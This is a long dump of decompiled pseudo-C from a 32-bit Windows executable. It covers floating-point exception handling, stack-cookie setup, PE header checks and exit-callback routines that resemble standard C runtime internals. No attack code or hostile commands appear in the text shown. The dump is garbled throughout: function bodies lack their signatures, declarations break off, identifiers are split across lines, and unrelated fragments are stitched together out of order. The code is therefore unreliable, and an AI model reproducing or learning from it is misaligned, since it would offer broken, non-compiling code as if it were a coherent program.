if (eax14 == 0x200) {
ecx15 = a1;
eax16 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ecx15)) & 0xffffffe7 | 4);
} else {
if (eax14 == 0x300) {
*reinterpret_cast<void***>(a1) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1)) & 0xffffffe3);
goto addr_40c43f_36;
}
}
}
*reinterpret_cast<void***>(ecx15) = eax16;
addr_40c43f_36:
ecx17 = reinterpret_cast<void**>((a4 << 5 ^ reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1))) & 0x1ffe0);
*reinterpret_cast<void***>(a1) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1)) ^ reinterpret_cast<unsigned char>(ecx17));
*reinterpret_cast<void***>(a1 + 32) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 32)) | 1);
if (!a7) {
*reinterpret_cast<void***>(a1 + 32) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 32)) & 0xffffffe3 | 2);
__asm__("fld qword [eax]");
__asm__("fstp qword [eax+0x10]");
*reinterpret_cast<uint32_t*>(a1 + 96) = *reinterpret_cast<uint32_t*>(a1 + 96) | 1;
ecx17 = a1;
*reinterpret_cast<uint32_t*>(ecx17 + 96) = *reinterpret_cast<uint32_t*>(ecx17 + 96) &
0xffffffe3 | 2;
__asm__("fld qword [ebx]");
__asm__("fstp qword [eax+0x50]");
} else {
*reinterpret_cast<void***>(a1 + 32) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 32)) & 0xffffffe1);
__asm__("fld dword [eax]");
__asm__("fstp dword [eax+0x10]");
*reinterpret_cast<uint32_t*>(a1 + 96) = *reinterpret_cast<uint32_t*>(a1 + 96) | 1;
*reinterpret_cast<uint32_t*>(a1 + 96) = *reinterpret_cast<uint32_t*>(a1 + 96) & 0xffffffe1;
__asm__("fld dword [ebx]");
__asm__("fstp dword [eax+0x50]");
}
fun_409f0d(ecx17);
RaiseException();
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1 + 8)) & 16) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffffffe);
}
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1 + 8)) & 8) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffffffb);
}
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1 + 8)) & 4) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffffff7);
}
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1 + 8)) & 2) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xffffffef);
}
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1 + 8)) & 1) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xffffffdf);
}
eax18 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1)) & 3;
if (!eax18) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffff3ff);
} else {
eax19 = eax18 - 1;
if (!eax19) {
eax20 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffff7ff | 0x400);
goto addr_40c53a_54;
} else {
eax21 = eax19 - 1;
if (!eax21) {
eax20 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffffbff | 0x800);
goto addr_40c53a_54;
} else {
if (!(eax21 - 1)) {
*reinterpret_cast<void***>(a2) =
reinterpret_cast<void**>(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2)) |
0xc00);
}
}
}
}
addr_40c54e_59:
eax22 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1)) >> 2 & 7;
if (!eax22) {
eax23 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffff3ff | 0x300);
} else {
eax24 = eax22 - 1;
if (!eax24) {
eax23 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffff3ff | 0x200);
} else {
if (!(eax24 - 1)) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffff3ff);
goto addr_40c57f_65;
}
}
}
*reinterpret_cast<void***>(a2) = eax23;
addr_40c57f_65:
if (!a7) {
__asm__("fld qword [ecx+0x50]");
__asm__("fstp qword [ebx]");
} else {
__asm__("fld dword [ecx+0x50]");
__asm__("fstp dword [ebx]");
}
goto esi25;
addr_40c53a_54:
*reinterpret_cast<void***>(a2) = eax20;
goto addr_40c54e_59;
addr_40c3f1_25:
*reinterpret_cast<void***>(ecx12) = eax13;
goto addr_40c407_30;
}
eax2 = a1;
if (!(*reinterpret_cast<unsigned char*>(&eax2) & 32)) {
if (!(*reinterpret_cast<unsigned char*>(&eax2) & 8)) {
if (!(*reinterpret_cast<unsigned char*>(&eax2) & 4)) {
if (!(*reinterpret_cast<unsigned char*>(&eax2) & 1)) {
eax3 = reinterpret_cast<void*>(static_cast<uint32_t>(*reinterpret_cast<unsigned
char*>(&eax2)) & 2);
return reinterpret_cast<uint32_t>(eax3) + reinterpret_cast<uint32_t>(eax3);
} else {
v4 = reinterpret_cast<void**>(3);
}
} else {
v4 = reinterpret_cast<void**>(2);
}
} else {
return 1;
}
} else {
v4 = reinterpret_cast<void**>(5);
}
return v4;
}
void fun_40c5c5(void** ecx, void** a2, uint32_t a3, void** a4, void** a5, void** a6, uint32_t a7,
void** a8, int32_t a9, void** a10) {
void* ebp11;
uint32_t edx12;
void** ecx13;
void** eax14;
void** v15;
void** v16;
void** v17;
uint32_t v18;
void** v19;
int32_t v20;
void** v21;
void** esi22;
void** eax23;
ecx3 = a2;
if (*reinterpret_cast<unsigned char*>(&ecx3) & 1) {
__asm__("fld tword [0x412140]");
__asm__("fistp dword [ebp-0x4]");
__asm__("wait ");
}
if (*reinterpret_cast<unsigned char*>(&ecx3) & 8) {
__asm__("wait ");
__asm__("fld tword [0x412140]");
__asm__("fstp qword [ebp-0xc]");
__asm__("wait ");
__asm__("wait ");
ax4 = fpu_status_word5;
}
if (*reinterpret_cast<unsigned char*>(&ecx3) & 16) {
__asm__("fld tword [0x41214c]");
__asm__("fstp qword [ebp-0xc]");
__asm__("wait ");
}
if (*reinterpret_cast<unsigned char*>(&ecx3) & 4) {
__asm__("fldz ");
__asm__("fld1 ");
__asm__("fdivrp st1, st0");
__asm__("fstp st0");
__asm__("wait ");
}
if (*reinterpret_cast<unsigned char*>(&ecx3) & 32) {
__asm__("fldlpi ");
__asm__("fstp qword [ebp-0xc]");
__asm__("wait ");
}
return ax4;
}
struct s54 {
signed char[6] pad6;
uint16_t f6;
signed char[12] pad20;
uint16_t f14;
};
edx3 = 0;
ecx4 = reinterpret_cast<struct s54*>(a1->f3c + reinterpret_cast<int32_t>(a1));
ebx5 = ecx4->f6;
eax6 = reinterpret_cast<struct s15*>(ecx4->f14 + 24 + reinterpret_cast<int32_t>(ecx4));
if (!ebx5) {
addr_40c8bc_2:
eax6 = reinterpret_cast<struct s15*>(0);
} else {
edi7 = a2;
do {
if (edi7 < eax6->fc)
continue;
if (edi7 < eax6->f8 + eax6->fc)
break;
++edx3;
++eax6;
} while (edx3 < ebx5);
goto addr_40c8bc_2;
}
return eax6;
}
struct s55 {
signed char[14] pad14;
signed char fe;
};
if (edx2->fe != 5) {
bx3 = 0x133f;
} else {
bx4 = *reinterpret_cast<int16_t*>(ebp5 - 0xa4);
*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(&bx3) + 1) =
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(&bx4) + 1) | 2) & 0xfe);
*reinterpret_cast<signed char*>(&bx3) = 63;
}
*reinterpret_cast<int16_t*>(ebp6 - 0xa2) = bx3;
__asm__("fldcw word [ebp+0xffffff5e]");
__asm__("fxam ");
*reinterpret_cast<int32_t*>(ebp7 - 0x94) = edx8;
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp9 - 0xa0) = fpu_status_word10;
*reinterpret_cast<signed char*>(ebp11 - 0x90) = 0;
__asm__("fxch st0, st1");
cl12 = *reinterpret_cast<signed char*>(ebp13 - 0x9f);
__asm__("fxam ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp14 - 0xa0) = fpu_status_word15;
__asm__("fxch st0, st1");
__asm__("rol ch, 1");
__asm__("xlatb ");
__asm__("rol cl, 1");
__asm__("xlatb ");
goto *reinterpret_cast<int32_t*>(edx16 + reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(reinterpret_cast<signed char>(cl12 << 1) >> 1) & 15) | reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(reinterpret_cast<signed char>(*reinterpret_cast<signed
char*>(ebp17 - 0x9f) << 1) >> 1) & 15) << 1) << 1)) + 16);
}
int32_t g417278;
struct s56 {
signed char[12] pad12;
signed char fc;
};
struct s57 {
signed char[14] pad14;
signed char fe;
};
struct s58 {
int32_t f0;
int32_t f4;
};
struct s59 {
signed char[8] pad8;
int32_t f8;
};
struct s60 {
int32_t f0;
int32_t f4;
};
struct s61 {
int32_t f0;
int32_t f4;
};
struct s62 {
signed char[16] pad16;
int32_t f10;
};
struct s63 {
int32_t f0;
int32_t f4;
};
unsigned char fun_40cebf(void** ecx, int32_t a2, int32_t a3, int32_t a4) {
int1_t zf5;
void** eax6;
int32_t ebp7;
int32_t ebp8;
uint16_t fpu_status_word9;
int32_t ebp10;
int32_t ebp11;
int32_t ebp12;
int16_t ax13;
int16_t fpu_status_word14;
uint16_t ax15;
int32_t ebp16;
int32_t ebp17;
int16_t ax18;
int16_t fpu_status_word19;
int32_t ebp20;
struct s56* ebx21;
int32_t ebp22;
int32_t ebp23;
int32_t ebp24;
uint32_t v25;
int32_t ebp26;
void* ebp27;
void* ebp28;
int32_t edi29;
int32_t esi30;
struct s58* esi31;
struct s59* ebp32;
struct s60* edi33;
int32_t ebp34;
struct s61* esi35;
struct s62* ebp36;
struct s63* edi37;
int32_t ebp38;
zf5 = g417278 == 0;
if (!zf5)
goto addr_40cf17_2;
__asm__("fst qword [ebp+0xfffffd30]");
*reinterpret_cast<unsigned char*>(&eax6) = *reinterpret_cast<unsigned char*>(ebp7 - 0x90);
if (!*reinterpret_cast<unsigned char*>(&eax6)) {
addr_40cef2_4:
*reinterpret_cast<uint16_t*>(&eax6) =
reinterpret_cast<uint16_t>(*reinterpret_cast<uint16_t*>(ebp8 - 0xa4) & 32);
if (*reinterpret_cast<uint16_t*>(&eax6) || (*reinterpret_cast<uint16_t*>(&eax6) =
reinterpret_cast<uint16_t>(fpu_status_word9 & 32), *reinterpret_cast<uint16_t*>(&eax6) == 0))
{
addr_40cf17_2:
__asm__("fldcw word [ebp+0xffffff5c]");
__asm__("wait ");
return *reinterpret_cast<unsigned char*>(&eax6);
} else {
*reinterpret_cast<int32_t*>(ebp10 - 0x8e) = 8;
}
} else {
if (*reinterpret_cast<unsigned char*>(&eax6) == 0xff) {
if ((*reinterpret_cast<uint16_t*>(ebp11 - 0x2ca) & 0x7ff0) == 0x7ff0) {
addr_40cf78_8:
*reinterpret_cast<int32_t*>(ebp12 - 0x8e) = 3;
__asm__("fld qword [0x413ae0]");
__asm__("fxch st0, st1");
__asm__("fscale ");
__asm__("fstp st1");
__asm__("fld st0");
__asm__("fabs ");
__asm__("fcomp qword [0x413ad0]");
__asm__("wait ");
ax13 = fpu_status_word14;
if (!(*reinterpret_cast<uint1_t*>(reinterpret_cast<int32_t>(&ax13) + 1) |
*reinterpret_cast<uint1_t*>(reinterpret_cast<int32_t>(&ax13) + 1))) {
__asm__("fmul qword [0x413af0]");
}
} else {
goto addr_40cef2_4;
}
} else {
if (*reinterpret_cast<unsigned char*>(&eax6) == 0xfe) {
ax15 = reinterpret_cast<uint16_t>(*reinterpret_cast<uint16_t*>(ebp16 - 0x2ca) &
0x7ff0);
if (!ax15) {
*reinterpret_cast<int32_t*>(ebp17 - 0x8e) = 4;
__asm__("fld qword [0x413ae8]");
__asm__("fxch st0, st1");
__asm__("fscale ");
__asm__("fstp st1");
__asm__("fld st0");
__asm__("fabs ");
__asm__("fcomp qword [0x413ad8]");
__asm__("wait ");
ax18 = fpu_status_word19;
if (*reinterpret_cast<uint1_t*>(reinterpret_cast<int32_t>(&ax18) + 1)) {
__asm__("fmul qword [0x413af8]");
}
} else {
if (ax15 == 0x7ff0)
goto addr_40cf78_8;
goto addr_40cef2_4;
}
} else {
if (!*reinterpret_cast<unsigned char*>(&eax6))
goto addr_40cf17_2;
*reinterpret_cast<int32_t*>(ebp20 - 0x8e) = *reinterpret_cast<signed char*>(&eax6);
}
}
}
ebx21 = reinterpret_cast<struct
s56*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(ebp22 - 0x94)) + 1);
*reinterpret_cast<struct s56**>(ebp23 - 0x8a) = ebx21;
if (*reinterpret_cast<unsigned char*>(ebp24 - 0x2c8) & 1) {
addr_40cfd6_20:
__asm__("fstp qword [ebp-0x76]");
v25 = reinterpret_cast<uint32_t>(static_cast<int32_t>((*reinterpret_cast<struct
s57**>(ebp26 - 0x94))->fe));
eax6 = fun_40be7f(ecx, v25, reinterpret_cast<int32_t>(ebp27) + 0xffffff72,
reinterpret_cast<int32_t>(ebp28) - 0xa4, edi29, esi30, __return_address(), a2, a3, a4);
__asm__("fld qword [ebp-0x76]");
goto addr_40cf17_2;
} else {
esi31 = reinterpret_cast<struct s58*>(&ebp32->f8);
edi33 = reinterpret_cast<struct s60*>(ebp34 - 0x86);
edi33->f0 = esi31->f0;
edi33->f4 = esi31->f4;
if (ebx21->fc == 1)
goto addr_40cfd6_20;
}
esi35 = reinterpret_cast<struct s61*>(&ebp36->f10);
edi37 = reinterpret_cast<struct s63*>(ebp38 - 0x7e);
edi37->f0 = esi35->f0;
edi37->f4 = esi35->f4;
goto addr_40cfd6_20;
}
struct s64 {
signed char[14] pad14;
signed char fe;
};
if (edx2->fe != 5) {
bx3 = 0x133f;
} else {
bx4 = *reinterpret_cast<int16_t*>(ebp5 - 0xa4);
*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(&bx3) + 1) =
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(&bx4) + 1) | 2) & 0xfe);
*reinterpret_cast<signed char*>(&bx3) = 63;
}
*reinterpret_cast<int16_t*>(ebp6 - 0xa2) = bx3;
__asm__("fldcw word [ebp+0xffffff5e]");
__asm__("fxam ");
*reinterpret_cast<int32_t*>(ebp7 - 0x94) = edx8;
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp9 - 0xa0) = fpu_status_word10;
*reinterpret_cast<signed char*>(ebp11 - 0x90) = 0;
__asm__("wait ");
__asm__("rol cl, 1");
__asm__("xlatb ");
goto *reinterpret_cast<int32_t*>(edx12 + reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(reinterpret_cast<signed char>(*reinterpret_cast<signed
char*>(ebp13 - 0x9f) << 1) >> 1) & 15) + 16);
}
void fun_40c282(void** a1, void** a2, void** a3, uint32_t a4, void** a5, void** a6);
void** fun_40be7f(void** ecx, uint32_t a2, void** a3, uint16_t* a4, int32_t a5, int32_t a6, int32_t
a7, int32_t a8, int32_t a9, int32_t a10) {
void* ebp11;
uint32_t eax12;
void** ecx13;
void** v14;
void** eax15;
void** eax16;
void** v17;
void** eax18;
void** eax19;
void** eax20;
void** ecx21;
signed char al22;
void** edi23;
void** esi24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
uint32_t v30;
void** v31;
int32_t v32;
void** eax33;
void** v34;
void** v35;
void** v36;
void** v37;
uint32_t v38;
void** v39;
int32_t v40;
int32_t eax41;
void** v42;
void** v43;
void** v44;
void** v45;
void** v46;
void** v47;
void** eax48;
ebp11 =
reinterpret_cast<void*>((reinterpret_cast<uint32_t>(reinterpret_cast<int32_t>(__zero_stack_offs
et()) - 4 - 4 - 4) & 0xfffffff0) + 4 - 4);
eax12 = g416004;
ecx13 = reinterpret_cast<void**>(static_cast<uint32_t>(*a4));
v14 = ecx13;
eax15 = *reinterpret_cast<void***>(a3) - 1;
if (!eax15)
goto addr_40bee7_2;
eax16 = eax15 - 1;
if (!eax16) {
v17 = reinterpret_cast<void**>(4);
} else {
eax18 = eax16 - 1;
if (!eax18) {
v17 = reinterpret_cast<void**>(17);
} else {
eax19 = eax18 - 1;
if (!eax19) {
v17 = reinterpret_cast<void**>(18);
} else {
eax20 = eax19 - 1;
if (!eax20) {
addr_40bee7_2:
v17 = reinterpret_cast<void**>(8);
} else {
if (eax20 - 3) {
addr_40bf49_11:
fun_409f20(ecx13, ecx13, 0xffff);
ecx21 = reinterpret_cast<void**>(0xffff);
if (*reinterpret_cast<void***>(a3) == 8 || ((al22 = fun_404cad(0xffff), al22 == 0) ||
(eax33 = fun_404cda(0xffff, a3, edi23, esi24, v25, v14, v26, v27, v28, v29, v30, v31, v32), ecx21
= a3, !eax33))) {
v34 = *reinterpret_cast<void***>(a3);
fun_40c596(ecx21, v34, edi23, esi24, v35, v14, v36, v37, v38, v39, v40);
goto addr_40bf77_13;
}
} else {
v17 = reinterpret_cast<void**>(16);
}
}
}
}
}
eax41 = fun_40c0a2(ecx13, v17, a3 + 24, ecx13);
if (!eax41) {
if (a2 == 16 || (a2 == 22 || a2 == 29)) {
__asm__("fld qword [esi+0x10]");
__asm__("fstp qword [ebp-0x50]");
}
fun_40c282(reinterpret_cast<uint32_t>(ebp11) + 0xffffff80,
reinterpret_cast<uint32_t>(ebp11) + 0xffffff7c, v17, a2, a3 + 8, a3 + 24);
}
ecx13 = v14;
goto addr_40bf49_11;
addr_40bf77_13:
eax48 = fun_402f62(eax12 ^ reinterpret_cast<uint32_t>(ebp11) ^
reinterpret_cast<uint32_t>(ebp11), v42, v14, v43, v44, v45, v46, v47);
return eax48;
}
int32_t g416aa8;
struct s65 {
uint32_t f0;
int32_t f4;
};
eax2 = fun_403606();
ecx3 = eax2->f4;
eax2->f0 = eax2->f0 | 36;
eax2->f4 = ecx3;
eax4 = fun_40360c();
ecx5 = eax4->f4;
eax4->f0 = eax4->f0 | 2;
eax4->f4 = ecx5;
return;
}
void** fun_405c32(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6);
uint32_t fun_405699(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void** esi10;
void** ebp11;
void** eax12;
int32_t eax13;
void** ecx14;
uint32_t eax15;
void** ecx16;
void** eax17;
eax12 = fun_40695e(ecx, esi10, ebp11, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9);
eax13 = 0;
ecx14 = *reinterpret_cast<void***>(eax12 + 0x350);
*reinterpret_cast<unsigned char*>(&eax13) =
reinterpret_cast<uint1_t>((*reinterpret_cast<unsigned char*>(&ecx14) & 2) == 0);
eax15 = reinterpret_cast<uint32_t>(eax13 + 1);
if (a2 == 0xffffffff) {
g4166a0 = reinterpret_cast<void**>(0xffffffff);
goto addr_4056f8_3;
} else {
if (!a2) {
addr_4056f8_3:
return eax15;
} else {
if (a2 == 1) {
ecx16 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx14) | 2);
} else {
if (a2 == 2) {
ecx16 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx14) &
0xfffffffd);
} else {
eax17 = fun_4060e8(ecx14, esi10, ebp11, __return_address(), a2, a3, a4, a5, a6,
a7);
*reinterpret_cast<void***>(eax17) = reinterpret_cast<void**>(22);
fun_40602c(ecx14, esi10, ebp11, __return_address(), a2);
eax15 = 0xffffffff;
goto addr_4056f8_3;
}
}
}
*reinterpret_cast<void***>(eax12 + 0x350) = ecx16;
goto addr_4056f8_3;
}
}
eax2 = g416ef4;
if (!eax2) {
eax2 = reinterpret_cast<void**>(0x416db4);
}
dl3 = 0;
while (1) {
ecx4 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(eax2));
if (*reinterpret_cast<uint16_t*>(&ecx4) <= 32) {
if (!*reinterpret_cast<uint16_t*>(&ecx4))
break;
if (!dl3)
goto addr_4052a8_7;
}
if (ecx4 == 34) {
dl3 = reinterpret_cast<uint1_t>(dl3 == 0);
}
eax2 = eax2 + 2;
}
addr_4052b0_11:
return eax2;
addr_4052a8_7:
while ((ecx5 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(eax2)),
!!*reinterpret_cast<uint16_t*>(&ecx5)) && *reinterpret_cast<uint16_t*>(&ecx5) <= 32) {
eax2 = eax2 + 2;
}
goto addr_4052b0_11;
}
struct s67 {
int16_t f0;
signed char[58] pad60;
int32_t f3c;
};
struct s68 {
int32_t f0;
signed char[20] pad24;
int16_t f18;
signed char[90] pad116;
uint32_t f74;
signed char[112] pad232;
int32_t fe8;
};
ecx2 = g416004;
if (ecx2 == 0xbb40e64e || !(0xffff0000 & ecx2)) {
eax3 = fun_40352e();
ecx2 = eax3;
if (ecx2 != 0xbb40e64e) {
if (!(0xffff0000 & ecx2)) {
ecx2 = ecx2 | (eax3 | 0x4711) << 16;
}
} else {
ecx2 = 0xbb40e64f;
}
g416004 = ecx2;
}
g416000 = reinterpret_cast<int32_t>(~ecx2);
return;
}
eax3 = fun_403ad5();
if (eax3 && !a2) {
tmp32_4 = g416aa0;
g416aa0 = 0;
eax3 = tmp32_4;
}
return eax3;
}
uint16_t fun_403762(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19) {
void*** ebp20;
void** v21;
void** v22;
void** v23;
void** v24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
void** v30;
void** v31;
void** v32;
void** v33;
void** v34;
void** v35;
void** v36;
void** v37;
void** ebp38;
unsigned char v39;
uint32_t eax40;
uint16_t v41;
struct s69 {
signed char[12] pad12;
int32_t fc;
};
void fun_4015f0();
void fun_401620();
void fun_405c91(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void** v10;
void** eax11;
void** esi12;
int32_t ebp13;
int32_t ebp14;
int32_t eax15;
int1_t zf16;
int32_t eax17;
void** v18;
void** eax19;
void** ebp20;
void** eax21;
void** eax22;
void** eax23;
v10 = reinterpret_cast<void**>(__return_address());
fun_40cab0(0x414948, 12, v10);
eax11 = fun_40695e(ecx, 0x414948, 12, v10, a2, a3, a4, a5, a6, a7, a8, a9);
esi12 = *reinterpret_cast<void***>(eax11 + 12);
if (esi12) {
*reinterpret_cast<uint32_t*>(ebp13 - 4) = 0;
ecx = esi12;
image_base_(ecx);
esi12(ecx);
*reinterpret_cast<int32_t*>(ebp14 - 4) = -2;
}
fun_405ccd(ecx, 0x414948, 12, v10, a2, a3, a4);
eax15 = fun_408a71(ecx);
if (eax15) {
fun_408acc(ecx, 22, 0x414948, 12, v10, a2, a3, a4, a5);
ecx = reinterpret_cast<void**>(22);
}
zf16 = (g416040 & 2) == 0;
if (!zf16) {
eax17 = fun_40c86c(ecx, 23, 0x414948, 12, v10);
if (eax17) {
ecx = reinterpret_cast<void**>(7);
__asm__("int 0x29");
}
fun_405e62(ecx, 3, 0x40000015, 1, 23, 0x414948, 12, v10);
}
fun_40559b(ecx, 3);
if (!0 && (v18 = g417250, eax19 = reinterpret_cast<void**>(HeapFree(ecx, v18, 0,
0x414948)), !eax19)) {
eax21 = fun_4060e8(ecx, esi12, v18, 0, 0x414948, ebp20, 3, 0x414948, 12, v10);
eax22 = reinterpret_cast<void**>(GetLastError(ecx));
eax23 = fun_40606f(ecx, eax22);
*reinterpret_cast<void***>(eax21) = eax23;
}
goto 3;
}
zf4 = g416aa4 == 0;
if (zf4 || !a3) {
fun_405c20(ecx, a2);
v5 = a2;
fun_403dbd(ecx, *reinterpret_cast<signed char*>(&v5));
}
return 1;
}
struct s70 {
signed char[16] pad16;
int32_t f10;
};
struct s71 {
signed char[8] pad8;
void** f8;
};
signed char g416dc0;
struct s72 {
signed char[8] pad8;
void** f8;
};
void** g416db8;
struct s73 {
signed char[12] pad12;
int32_t fc;
};
if (!a2) {
g416aa4 = 1;
}
fun_403904();
al3 = fun_403d9e(ecx);
if (al3) {
al5 = fun_405c0e(ecx, ebp4);
if (al5) {
return 1;
} else {
fun_403dbd(ecx, 0);
}
}
return 0;
}
edi2 = 0x416b14;
esi3 = 0;
do {
eax4 = fun_404424(ecx, edi2, 0xfa0, 0);
if (!eax4)
break;
++g416b2c;
esi3 = esi3 + 24;
edi2 = edi2 + 24;
} while (esi3 < 24);
goto addr_404215_4;
fun_404223();
al5 = 0;
addr_404220_6:
return al5;
addr_404215_4:
al5 = 1;
goto addr_404220_6;
}
signed char fun_40880b(void** ecx, void** a2, void** a3, void** a4, void** a5);
int32_t g416aac;
int32_t g416ab0;
int32_t g416ab4;
int32_t g416ab8;
int32_t g416abc;
signed char fun_40338c(void** ecx, int32_t a2, void** a3, void** a4) {
int1_t zf5;
uint32_t eax6;
uint32_t eax7;
uint32_t eax8;
signed char al9;
int1_t zf10;
int32_t eax11;
struct s8* eax12;
signed char al13;
zf5 = g416aa5 == 0;
if (!zf5) {
return 1;
}
if (!a2 || a2 == 1) {
eax6 = fun_403ad5();
if (!eax6 || a2) {
g416aa8 = -1;
g416aac = -1;
g416ab0 = -1;
g416ab4 = -1;
g416ab8 = -1;
g416abc = -1;
goto addr_4033ff_6;
} else {
eax7 = fun_405abc(ecx, 0x416aa8);
if (eax7 || (eax8 = fun_405abc(0x416aa8, 0x416ab4), !!eax8)) {
al9 = 0;
} else {
addr_4033ff_6:
g416aa5 = 1;
al9 = 1;
}
return al9;
}
}
fun_403647(ecx, 5);
fun_4038a0(ecx, 0x414880, 8, 5);
zf10 = image_base_ == 0x5a4d;
if (!zf10)
goto addr_40348e_12;
eax11 = g40003c;
if (*reinterpret_cast<int32_t*>(eax11 + 0x400000) != 0x4550)
goto addr_40348e_12;
if (*reinterpret_cast<int16_t*>(eax11 + 0x400018) != 0x10b)
goto addr_40348e_12;
eax12 = fun_4032dd(0x400000, a2 - 0x400000);
if (!eax12)
goto addr_40348e_12;
if (eax12->f24 >= 0)
goto addr_40346d_17;
addr_40348e_12:
al13 = 0;
addr_403497_18:
g0 = reinterpret_cast<void**>(0x414880);
return al13;
addr_40346d_17:
al13 = 1;
goto addr_403497_18;
}
void** fun_40888e(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** v6;
void** v7;
void** ebp8;
void*** ebp9;
uint32_t eax10;
void** v11;
struct s33* esi12;
void* edi13;
void** eax14;
v6 = reinterpret_cast<void**>(__return_address());
v7 = ebp8;
ebp9 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax10 = g416004;
v11 = reinterpret_cast<void**>(eax10 ^ reinterpret_cast<uint32_t>(ebp9));
if (a2 != a3) {
esi12 = reinterpret_cast<struct s33*>(a3 + 0xfffffffc);
do {
edi13 = esi12->f0;
if (edi13) {
image_base_(edi13);
edi13(edi13);
}
esi12 = reinterpret_cast<struct s33*>(reinterpret_cast<uint32_t>(esi12) - 8);
} while (!reinterpret_cast<int1_t>(&esi12->f4 == a2));
}
eax14 = fun_402f62(reinterpret_cast<unsigned char>(v11) ^
reinterpret_cast<uint32_t>(ebp9), v11, v7, v6, a2, a3, a4, a5);
return eax14;
}
void** fun_405c32(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** ecx7;
void** eax8;
void** eax9;
void** eax10;
void** esi11;
void** ebp12;
void** eax13;
int32_t fun_405800(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10);
int32_t fun_405af9(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void*** ebp6;
void** ebp7;
int32_t eax8;
int32_t fun_4037e7(void** ecx, void** a2, void** a3, void** a4, void** a5);
void fun_4037db() {
SetUnhandledExceptionFilter();
goto fun_4037e7;
}
struct s18* fun_403f56(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void**
a7);
void*** fun_403be7(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
struct s18* eax7;
void*** fun_403bf0(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
struct s18* eax7;
int32_t fun_403b8f(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** esi6;
void** edi7;
void** esi8;
void** ebp9;
struct s18* eax10;
void** esi11;
struct s18* eax12;
if (*reinterpret_cast<signed char*>(&a3)) {
esi6 = *reinterpret_cast<void***>(a2);
if (!(!reinterpret_cast<int1_t>(*reinterpret_cast<void***>(esi6) == 0xe06d7363) ||
(!reinterpret_cast<int1_t>(*reinterpret_cast<void***>(esi6 + 16) == 3) ||
